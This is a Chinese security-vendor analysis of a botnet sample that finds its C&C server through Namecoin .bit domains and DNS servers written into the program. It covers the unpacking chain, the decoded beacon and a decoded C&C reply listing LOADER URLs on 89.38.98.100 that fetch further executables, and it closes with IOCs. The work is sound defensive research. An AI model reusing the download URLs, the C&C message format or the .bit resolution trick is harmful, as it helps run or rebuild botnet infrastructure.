前言
近日,深信服安全云脑病毒流量分析团队捕获了一批病毒样本,这些样本结合了区块链,通过特定的DNS服务器对C&C服务器地址进行解析,解析出C&C地址后再与其进行通信,这些样本是僵尸网络样本,可是由于C&C服务器的域名是.bit域名,所以该僵尸网络无法被关闭,危害巨大。
近年来,区块链、比特币、比特币域名越来越火,根据统计,对相关词语的关注程度从2015年起越来越多:
由于其通信方式的独特性和危害性,现对其进行介绍和分析。
什么是区块链
简单来说,区块链是一个分类账,其中记录了所有交易记录。具体而言,它是去中心化(分布式)数据库,每个记录称为一个块,包含一个时间戳和到前一个块链接。这意味着一旦被记录,数据就不能在不改变后续块的情况下被追溯和更改。因此,它是一个数据库,它并不需要任何权威的组织或者机构保证其可靠性。区块链概念是加密货币的基础。但区块链可以用于许多其他应用程序。
DNS如何结合区块链
域名系统(DNS)是从上世纪80年代开始的技术,它的核心功能是将域名和URL解析成IP,这样可以让IP地址便于阅读和记忆。
DNS是分层结构的。当您在浏览器中输入某个域名(www.abc.com)时,提供商的解析器会首先咨询其中一个DNS根服务器。它回复:“我没有com,请尝试X”,然后为com提供名称服务器列表。然后解析器会问他们同样的问题,直到其中一个人回复它有abc.com,并且将请求引用到正确的服务器。目前的DNS系统存在危险。例如,某个国家的政府可能会要求该国的所有互联网服务提供商停止将某些域名重定向到相关的IP地址。
基于区块链的域名服务器的使用可以抵制地方当局的监管。此外,可以避免的“缓存中毒”(cache poisoning)或DNS欺骗(DNS spoofing)。最近各种基于区块链的DNS服务相继出来,主要有Ethereum Name Service, Namecoin, Blockstack。实验表明,区块链是向服务器分发名称数据的好方法。因为区块链是点对点的,并且不需要中央服务器,而这些中央服务器可以被当地政府或灾难关闭。此外,区块链保证了域名服务器的可用性,而传统的DNS并非如此。域名服务器日益成为黑客的攻击目标。当他们被破坏时,它们所解析的网站将无法正常访问。
本文所涉及的病毒正是用区块链域名服务器进行解析然后通信的。域名以.bit结尾,基于Namecoin。Namecoin是一种基于区块链的加密货币,通过.bit域名注册和管理。域名注册和个人信息无关。由于Namecoin是分散式的,没有中央机构管理,所以用Namecoin注册的域名不会被劫持或者关闭,由于上述的匿名性,越来越多的犯罪分子利用Namecoin构建僵尸网络并将C&C服务器放在.bit域名上,该域名无法被监管,所以该僵尸网络无法被关闭,危害巨大。
病毒原理
程序进行了多层加密,如下图所示,原程序在栈中释放出解密程序,然后跳入栈中执行解密程序,解密程序在堆中释放并解密出PE文件,然后进入该PE文件中执行,该PE文件会更改原程序的PE头和.text段,然后运行新程序,新程序会将最终的包含恶意代码的文件解密、创建、写入到%AppData%目录下,然后新建进程运行,运行后再将程序删除。
该程序是通过.bit域名访问C&C服务器的,而访问.bit域名的常用方法有:
1、Web代理
2、浏览器插件
3、公开的DNS
而这些方式都需要第三方的DNS服务器,而该样本则是将DNS服务器地址写到了程序中,通过访问这些DNS服务器,解析目标域名得到目标IP,从而进行通信。
技术分析
先用IDA打开发现大多数代码被加密了,所以程序只能进行动态分析。
程序会首先进行解密,将解密后的程序放入栈中,然后跳到栈中执行关键代码。首先会用VirtualAlloc分配0x165B2个字节的可读可写可执行的空间。
写入所有数据都是加密的,然后解密,发现这段代码是可执行程序:
跳入刚才分配的地址空间,发现这一段也用VirtualAlloc在开辟内存:
开辟后的内存会先被写入加密的数据:
然后进行解密,解密完成后发现是一个PE文件:
再次分配一段78E大小的空间,然后跳进去执行
然后程序会将自身(00400000开始的内存)设置为可读可写可执行,然后修改自身。
Process Monitor检测到在Roaming文件夹下生成了文件jevgr.exe,然后启动进程jevgr.exe。这个进程还会再次启动自己,启动后将自己删除:
用OD附加然后dump内存,可以得到该文件。
在该文件中可以看到如下的DNS服务器:
程序会进行一个循环,不断用DnsQuery_A查询n31.smokemenowhhalala.bit的地址,只要查到就跳出循环:
用wireshark截包也可以发现,程序先往8.8.8.8和8.8.4.4请求域名,发现解析不到,然后向ns.dotbit.me请求该域名,成功解析到IP:
域名解析成功后,会以HTTP的方式进行CC通信,通信URL一直保持不变。
在连接上C&C服务器后,程序再构造http包,与C&C进行通信。
程序先用GetSystemInfo获取系统信息:
再根据得到的系统信息确定操作系统版本:
程序会构造POST请求:
具体的通信内容如下:
1、通信的内容简单地用了base64编码,解码后内容是
cmd&0c98390a-7519-42f6-a7ad-64659cee1efa&SINCODER-PC&Windows%207%20(64-bit)&0&N%2FA&5.2&16.08.2017&NONE
很明显,将本地的信息发送给CC服务器。其中sincoder-pc正是我们跑沙箱的虚拟机机器名。
2、CC服务器返回的内容经过解码后如下:
1507575502911182#rate5#1508136301903120#LOADER http://89.38.98.100/sReeeesa.exe#1508136310273686#LOADER http://89.38.98.100/156aReeeesa.exe#1508136318262130#LOADER http://89.38.98.100/156bReeeesa.exe#1508136326311141#LOADER http://89.38.98.100/85bReeeesa.exe#1508136336877925#LOADER http://89.38.98.100/85Reeeesa.exe#1508136344583173#LOADER http://89.38.98.100/17Reeeesa.exe#1508136353980521#LOADER http://89.38.98.100/74Reeeesa.exe#1508136363904142#LOADER http://89.38.98.100/121Reeeesa.exe#1508136376977099#LOADER http://89.38.98.100/123Reeeesa.exe#1508136394931264#LOADER http://89.38.98.100/226Reeeesa.exe#1508136408598178#LOADER http://89.38.98.100/38Reeeesa.exe#1508136429853275#LOADER http://89.38.98.100/161Reeeesa.exe#
目的是下载更多的恶意软件。
程序接收到网址后会构造GET请求下载文件:
这些下载动作也会反馈给CC服务器,如下图所示,其中POST的内容解码后为:
exec&1508136344583173
程序还有其他一些操作,包括屏幕截图:
读取进程信息:
可是,由于C&C并未给出这些指令,所以并没有执行这些操作。
IOCs
efc03f2d6601a5da3da98d8bac31fabf
78fdac089c50ae602d6076d2aa2d6907
efc03f2d6601a5da3da98d8bac31fabf
652885e33b86140e7fc50f11b48f3275
nutsystem1.bit
n31.smokemenowhhalala.bit
89.38.98.100
118.193.174.133
*本文作者:千里目安全实验室,转载请注明来自 FreeBuf.COM